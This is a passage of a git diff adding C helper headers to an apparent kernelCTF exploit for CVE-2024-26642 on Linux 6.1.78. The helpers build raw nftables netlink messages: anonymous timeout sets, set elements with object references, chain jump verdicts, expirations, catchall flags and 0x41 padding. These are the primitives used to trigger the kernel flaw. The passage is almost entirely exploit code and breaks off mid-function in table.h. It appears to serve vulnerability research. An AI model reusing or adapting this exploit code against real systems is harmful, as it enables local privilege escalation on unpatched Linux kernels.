nlmsghdr * new_set_pipapo_for_timeout_with_anonymous_msg(char *table_name, char *set_name, uint32_t obj_type){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<4;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(0x40)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT|NFT_SET_TIMEOUT|NFT_SET_ANONYMOUS)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + cur_handle++; + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/setelem.h b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/setelem.h new file mode 100644 index 00000000..e2d7bfdd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/setelem.h @@ -0,0 +1,589 @@ +void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +void new_setelem_with_expr_and_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *elemdata, uint32_t elemdata_len, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_expr = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_expr, NFTA_EXPR_NAME, "last"); + nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(elemdata > 0){ + nla_put(elem_data, NFTA_DATA_VALUE, elemdata_len, elemdata); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + +void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETSETELEM, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + + } +} + + +void elem_flush(struct nl_sock * socket, char *table_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Flush set\n"); + } +} + +void new_setelem_with_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + uint64_t key = input_key; + uint64_t pad0 = 0x4141414141414141; + uint32_t pad1 = 0x41414141; + //nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + nla_put(elem_data, NFTA_DATA_VALUE, 0x10, &pad0); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +struct nlmsghdr *new_setelem_with_chain_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *chain, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + uint64_t key = input_key; + + nla_put_u32(data, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data, NFTA_VERDICT_CHAIN, chain); + nla_put_nested(data_nest, NFTA_DATA_VERDICT, data); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, data_nest); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} + +struct nlmsghdr * new_setelem_with_chain_and_expiration_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *chain, char * key, int key_size, char *key_end, int key_end_size, int if_catchall, uint64_t expiration_time){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + + nla_put_u32(data, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data, NFTA_VERDICT_CHAIN, chain); + nla_put_nested(data_nest, NFTA_DATA_VERDICT, data); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, data_nest); + + nla_put_u64(elem_nest, NFTA_SET_ELEM_EXPIRATION, expiration_time); + nla_put_u64(elem_nest, NFTA_SET_ELEM_TIMEOUT, expiration_time); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + return hdr2; +} + +struct nlmsghdr * new_setelem_with_expiration_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall, uint64_t expiration_time){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + nla_put_u64(elem_nest, NFTA_SET_ELEM_EXPIRATION, expiration_time); + nla_put_u64(elem_nest, NFTA_SET_ELEM_TIMEOUT, expiration_time); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} + +void new_setelem_with_chain(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char * key, int key_size, char *key_end, int key_end_size, char *chain){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + + nla_put_u32(data, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data, NFTA_VERDICT_CHAIN, chain); + nla_put_nested(data_nest, NFTA_DATA_VERDICT, data); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, data_nest); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/table.h b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/table.h new file mode 100644 index 00000000..b11ad623 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/table.h @@ -0,0 +1,138 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = 